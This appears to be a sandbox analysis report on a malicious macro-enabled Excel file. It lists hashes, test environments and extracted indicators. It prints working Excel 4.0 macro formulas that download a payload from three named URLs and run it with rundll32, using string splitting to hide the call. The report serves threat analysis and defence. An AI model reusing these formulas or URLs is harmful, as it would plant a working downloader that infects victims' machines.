General
-
Target
?i=1nvwfxgvn
-
Size
83KB
-
Sample
220425-crsjasagb4
-
MD5
a19739c3b8b42e530b0c39885a7eb572
-
SHA1
034d7b56335bc65f1010c24801f40f739f981418
-
SHA256
689555499fd2dff9a85acca987cf63ecb004150fb9428e7336b11a90eed8a4a6
-
SHA512
30cda33c13a7c5cbee38fc74846b6263ca20efc53434577855032e59f1e4376675d9f46b804e61964713d91fe7af8f9bcd3ffe010ebeec4461e45c38ea6c7238
Behavioral task
behavioral1
Sample
?i=1nvwfxgvn.xlsm
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
?i=1nvwfxgvn.xlsm
Resource
win10v2004-20220414-en
Malware Config
Extracted
http://therecyclingmachine.com/wp-admin/LzpOZSlkq90fYT1/
http://zhongmaifangwu.com/TEST777/3U4Un0u/
http://chicagocloudgroup.com/wp-content/updraft/OKXV/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://therecyclingmachine.com/wp-admin/LzpOZSlkq90fYT1/","..\erum.ocx",0,0) =IF('EWDFFEFAD'!E18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://zhongmaifangwu.com/TEST777/3U4Un0u/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://chicagocloudgroup.com/wp-content/updraft/OKXV/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()
Extracted
http://therecyclingmachine.com/wp-admin/LzpOZSlkq90fYT1/
http://zhongmaifangwu.com/TEST777/3U4Un0u/
http://chicagocloudgroup.com/wp-content/updraft/OKXV/
Targets
-
-
Target
?i=1nvwfxgvn
-
Size
83KB
-
MD5
a19739c3b8b42e530b0c39885a7eb572
-
SHA1
034d7b56335bc65f1010c24801f40f739f981418
-
SHA256
689555499fd2dff9a85acca987cf63ecb004150fb9428e7336b11a90eed8a4a6
-
SHA512
30cda33c13a7c5cbee38fc74846b6263ca20efc53434577855032e59f1e4376675d9f46b804e61964713d91fe7af8f9bcd3ffe010ebeec4461e45c38ea6c7238
Score10/10 -